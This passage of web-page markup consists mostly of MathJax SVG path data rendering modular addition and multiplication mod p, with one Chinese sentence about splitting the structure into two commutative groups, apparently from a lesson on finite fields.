381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(9164.7,0)"><path data-c="3C" d="M694 -11T694 -19T688 -33T678 -40Q671 -40 524 29T234 166L90 235Q83 240 83 250Q83 261 91 266Q664 540 678 540Q681 540 687 534T694 519T687 505Q686 504 417 376L151 250L417 124Q686 -4 687 -5Q694 -11 694 -19Z"></path></g><g data-mml-node="mi" transform="translate(10220.5,0)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(10723.5,0)"><path data-c="7D" d="M65 731Q65 745 68 747T88 750Q171 750 216 725T279 670Q288 649 289 635T291 501Q292 362 293 357Q306 312 345 291T417 269Q428 269 431 266T434 250T431 234T417 231Q380 231 345 210T298 157Q293 143 292 121T291 -28V-79Q291 -134 285 -156T256 -198Q202 -250 89 -250Q71 -250 68 -247T65 -230Q65 -224 65 -223T66 -218T69 -214T77 -213Q91 -213 108 -210T146 -200T183 -177T207 -139Q208 -134 209 3L210 139Q223 196 280 230Q315 247 330 250Q305 257 280 270Q225 304 212 352L210 362L209 498Q208 635 207 640Q195 680 154 696T77 713Q68 713 67 716T65 731Z"></path></g><g data-mml-node="mo" transform="translate(11223.5,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="msub" transform="translate(11668.1,0)"><g data-mml-node="mo"><path data-c="2B" d="M56 237T56 250T70 270H369V420L370 570Q380 583 389 583Q402 583 409 568V270H707Q722 262 722 250T707 230H409V-68Q401 -82 391 -82H389H387Q375 -82 369 -68V230H70Q56 237 56 250Z"></path></g><g data-mml-node="mi" transform="translate(811,-150) scale(0.707)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g><g data-mml-node="mo" transform="translate(12884.8,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="msub" transform="translate(13329.5,0)"><g data-mml-node="mo"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mi" transform="translate(811,-150) scale(0.707)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g><g data-mml-node="mo" transform="translate(14546.1,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></p><ul><li><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.65ex;" xmlns="http://www.w3.org/2000/svg" width="24.696ex" height="2.347ex" role="img" focusable="false" viewBox="0 -750 10915.5 1037.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="msub" transform="translate(751.2,0)"><g data-mml-node="mo"><path data-c="2B" d="M56 237T56 250T70 270H369V420L370 570Q380 583 389 583Q402 583 409 568V270H707Q722 262 722 250T707 230H409V-68Q401 -82 391 -82H389H387Q375 -82 369 -68V230H70Q56 237 56 250Z"></path></g><g data-mml-node="mi" transform="translate(811,-150) scale(0.707)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g><g data-mml-node="mi" transform="translate(2190.1,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mo" transform="translate(2896.9,0)"><g data-mml-node="text"><path data-c="3A" d="M78 370Q78 394 95 412T138 430Q162 430 180 414T199 371Q199 346 182 328T139 310T96 327T78 370ZM78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z"></path></g><g data-mml-node="text" transform="translate(278,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g></g><g data-mml-node="mo" transform="translate(4230.7,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(4619.7,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(5370.9,0)"><path data-c="2B" d="M56 237T56 250T70 270H369V420L370 570Q380 583 389 583Q402 583 409 568V270H707Q722 262 722 250T707 230H409V-68Q401 -82 391 -82H389H387Q375 -82 369 -68V230H70Q56 237 56 250Z"></path></g><g data-mml-node="mi" transform="translate(6371.1,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mo" transform="translate(6800.1,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mspace" transform="translate(7189.1,0)"></g><g data-mml-node="mi" transform="translate(8022.8,0)"><path data-c="6D" d="M41 46H55Q94 46 102 60V68Q102 77 102 91T102 122T103 161T103 203Q103 234 103 269T102 328V351Q99 370 88 376T43 385H25V408Q25 431 27 431L37 432Q47 433 65 434T102 436Q119 437 138 438T167 441T178 442H181V402Q181 364 182 364T187 369T199 384T218 402T247 421T285 437Q305 442 336 442Q351 442 364 440T387 434T406 426T421 417T432 406T441 395T448 384T452 374T455 366L457 361L460 365Q463 369 466 373T475 384T488 397T503 410T523 422T546 432T572 439T603 442Q729 442 740 329Q741 322 741 190V104Q741 66 743 59T754 49Q775 46 803 46H819V0H811L788 1Q764 2 737 2T699 3Q596 3 587 0H579V46H595Q656 46 656 62Q657 64 657 200Q656 335 655 343Q649 371 635 385T611 402T585 404Q540 404 506 370Q479 343 472 315T464 232V168V108Q464 78 465 68T468 55T477 49Q498 46 526 46H542V0H534L510 1Q487 2 460 2T422 3Q319 3 310 0H302V46H318Q379 46 379 62Q380 64 380 200Q379 335 378 343Q372 371 358 385T334 402T308 404Q263 404 229 370Q202 343 195 315T187 232V168V108Q187 78 188 68T191 55T200 49Q221 46 249 46H265V0H257L234 1Q210 2 183 2T145 3Q42 3 33 0H25V46H41Z"></path><path data-c="6F" d="M28 214Q28 309 93 378T250 448Q340 448 405 380T471 215Q471 120 407 55T250 -10Q153 -10 91 57T28 214ZM250 30Q372 30 372 193V225V250Q372 272 371 288T364 326T348 362T317 390T268 410Q263 411 252 411Q222 411 195 399Q152 377 139 338T126 246V226Q126 130 145 91Q177 30 250 30Z" transform="translate(833,0)"></path><path data-c="64" d="M376 495Q376 511 376 535T377 568Q377 613 367 624T316 637H298V660Q298 683 300 683L310 684Q320 685 339 686T376 688Q393 689 413 690T443 693T454 694H457V390Q457 84 458 81Q461 61 472 55T517 46H535V0Q533 0 459 -5T380 -11H373V44L365 37Q307 -11 235 -11Q158 -11 96 50T34 215Q34 315 97 378T244 442Q319 442 376 393V495ZM373 342Q328 405 260 405Q211 405 173 369Q146 341 139 305T131 211Q131 155 138 120T173 59Q203 26 251 26Q322 26 373 103V342Z" transform="translate(1333,0)"></path></g><g data-mml-node="mstyle" transform="translate(9911.8,0)"><g data-mml-node="mspace"></g></g><g data-mml-node="mstyle" transform="translate(10078.8,0)"><g data-mml-node="mspace"></g></g><g data-mml-node="mi" transform="translate(10412.5,0)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></svg></mjx-container></li><li><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.65ex;" xmlns="http://www.w3.org/2000/svg" width="24.696ex" height="2.347ex" role="img" focusable="false" viewBox="0 -750 10915.5 1037.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="msub" transform="translate(751.2,0)"><g data-mml-node="mo"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mi" transform="translate(811,-150) scale(0.707)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g><g data-mml-node="mi" transform="translate(2190.1,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mo" transform="translate(2896.9,0)"><g data-mml-node="text"><path data-c="3A" d="M78 370Q78 394 95 412T138 430Q162 430 180 414T199 371Q199 346 182 328T139 310T96 327T78 370ZM78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z"></path></g><g data-mml-node="text" transform="translate(278,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g></g><g data-mml-node="mo" transform="translate(4230.7,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(4619.7,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(5370.9,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mi" transform="translate(6371.1,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mo" transform="translate(6800.1,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mspace" transform="translate(7189.1,0)"></g><g data-mml-node="mi" transform="translate(8022.8,0)"><path data-c="6D" d="M41 46H55Q94 46 102 60V68Q102 77 102 91T102 122T103 161T103 203Q103 234 103 269T102 328V351Q99 370 88 376T43 385H25V408Q25 431 27 431L37 432Q47 433 65 434T102 436Q119 437 138 438T167 441T178 442H181V402Q181 364 182 364T187 369T199 384T218 402T247 421T285 437Q305 442 336 442Q351 442 364 440T387 434T406 426T421 417T432 406T441 395T448 384T452 374T455 366L457 361L460 365Q463 369 466 373T475 384T488 397T503 410T523 422T546 432T572 439T603 442Q729 442 740 329Q741 322 741 190V104Q741 66 743 59T754 49Q775 46 803 46H819V0H811L788 1Q764 2 737 2T699 3Q596 3 587 0H579V46H595Q656 46 656 62Q657 64 657 200Q656 335 655 343Q649 371 635 385T611 402T585 404Q540 404 506 370Q479 343 472 315T464 232V168V108Q464 78 465 68T468 55T477 49Q498 46 526 46H542V0H534L510 1Q487 2 460 2T422 3Q319 3 310 0H302V46H318Q379 46 379 62Q380 64 380 200Q379 335 378 343Q372 371 358 385T334 402T308 404Q263 404 229 370Q202 343 195 315T187 232V168V108Q187 78 188 68T191 55T200 49Q221 46 249 46H265V0H257L234 1Q210 2 183 2T145 3Q42 3 33 0H25V46H41Z"></path><path data-c="6F" d="M28 214Q28 309 93 378T250 448Q340 448 405 380T471 215Q471 120 407 55T250 -10Q153 -10 91 57T28 214ZM250 30Q372 30 372 193V225V250Q372 272 371 288T364 326T348 362T317 390T268 410Q263 411 252 411Q222 411 195 399Q152 377 139 338T126 246V226Q126 130 145 91Q177 30 250 30Z" transform="translate(833,0)"></path><path data-c="64" d="M376 495Q376 511 376 535T377 568Q377 613 367 624T316 637H298V660Q298 683 300 683L310 684Q320 685 339 686T376 688Q393 689 413 690T443 693T454 694H457V390Q457 84 458 81Q461 61 472 55T517 46H535V0Q533 0 459 -5T380 -11H373V44L365 37Q307 -11 235 -11Q158 -11 96 50T34 215Q34 315 97 378T244 442Q319 442 376 393V495ZM373 342Q328 405 260 405Q211 405 173 369Q146 341 139 305T131 211Q131 155 138 120T173 59Q203 26 251 26Q322 26 373 103V342Z" transform="translate(1333,0)"></path></g><g data-mml-node="mstyle" transform="translate(9911.8,0)"><g data-mml-node="mspace"></g></g><g data-mml-node="mstyle" transform="translate(10078.8,0)"><g data-mml-node="mspace"></g></g><g data-mml-node="mi" transform="translate(10412.5,0)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></svg></mjx-container></li></ul><p>该结构可以被进一步拆分成两个交换群 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.65ex;" xmlns="http://www.w3.org/2000/svg" width="24.639ex" height="2.347ex" role="img" focusable="false" viewBox="0 -750 10890.6 1037.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mo" transform="translate(389,0)"><path data-c="7B" d="M434 -231Q434 -244 428 -250H410Q281 -250 230 -184Q225 -177 222 -172T217 -161T213 -148T211 -133T210 -111T209 -84T209 -47T209 0Q209 21 209 53Q208 142 204 153Q203 154 203 155Q189 191 153 211T82 231Q71 231 68 234T65 250T68 266T82 269Q116 269 152 289T203 345Q208 356 208 377T209 529V579Q209 634 215 656T244 698Q270 724 324 740Q361 748 377 749Q379 749 390 749T408 750H428Q434 744 434 732Q434 719 431 716Q429 713 415 713Q362 710 332 689T296 647Q291 634 291 499V417Q291 370 288 353T271 314Q240 271 184 255L170 250L184 245Q202 239 220 230T262 196T290 137Q291 131 291 1Q291 -134 296 -147Q306 -174 339 -192T415 -213Q429 -213 431 -216Q434 -219 434 -231Z"></path></g><g data-mml-node="mi" transform="translate(889,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(1695.8,0)"><path data-c="2208" d="M84 250Q84 372 166 450T360 539Q361 539 377 539T419 540T469 540H568Q583 532 583 520Q583 511 570 501L466 500Q355 499 329 494Q280 482 242 458T183 409T147 354T129 306T124 272V270H568Q583 262 583 250T568 230H124V228Q124 207 134 177T167 112T231 48T328 7Q355 1 466 0H570Q583 -10 583 -20Q583 -32 568 -40H471Q464 -40 446 -40T417 -41Q262 -41 172 45Q84 127 84 250Z"></path></g><g data-mml-node="TeXAtom" data-mjx-texclass="ORD" transform="translate(2640.6,0)"><g data-mml-node="mi"><path data-c="2124" d="M39 -1Q29 9 29 12Q29 23 60 77T219 337L410 648H364Q261 648 210 628Q168 612 142 588T109 545T97 509T88 490Q85 489 80 489Q72 489 61 503L70 588Q72 607 75 628T79 662T81 675Q84 677 88 681Q90 683 341 683H592Q604 673 604 666Q604 662 412 348L221 37Q221 35 301 35Q406 35 446 48Q504 68 543 111T597 212Q602 239 617 239Q624 239 629 234T635 223Q635 215 621 113T604 8L597 1Q595 -1 317 -1H39ZM148 637L166 648H112V632Q111 629 110 622T108 612Q108 608 110 608T116 612T129 623T148 637ZM552 646Q552 648 504 648Q452 648 450 643Q448 639 266 343T77 37Q77 35 128 35H179L366 339L552 646ZM572 35Q581 89 581 97L561 77Q542 59 526 48L508 37L539 35H572Z"></path></g></g><g data-mml-node="mo" transform="translate(3585.3,0)"><path data-c="3A" d="M78 370Q78 394 95 412T138 430Q162 430 180 414T199 371Q199 346 182 328T139 310T96 327T78 370ZM78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z"></path></g><g data-mml-node="mn" transform="translate(4141.1,0)"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g><g data-mml-node="mo" 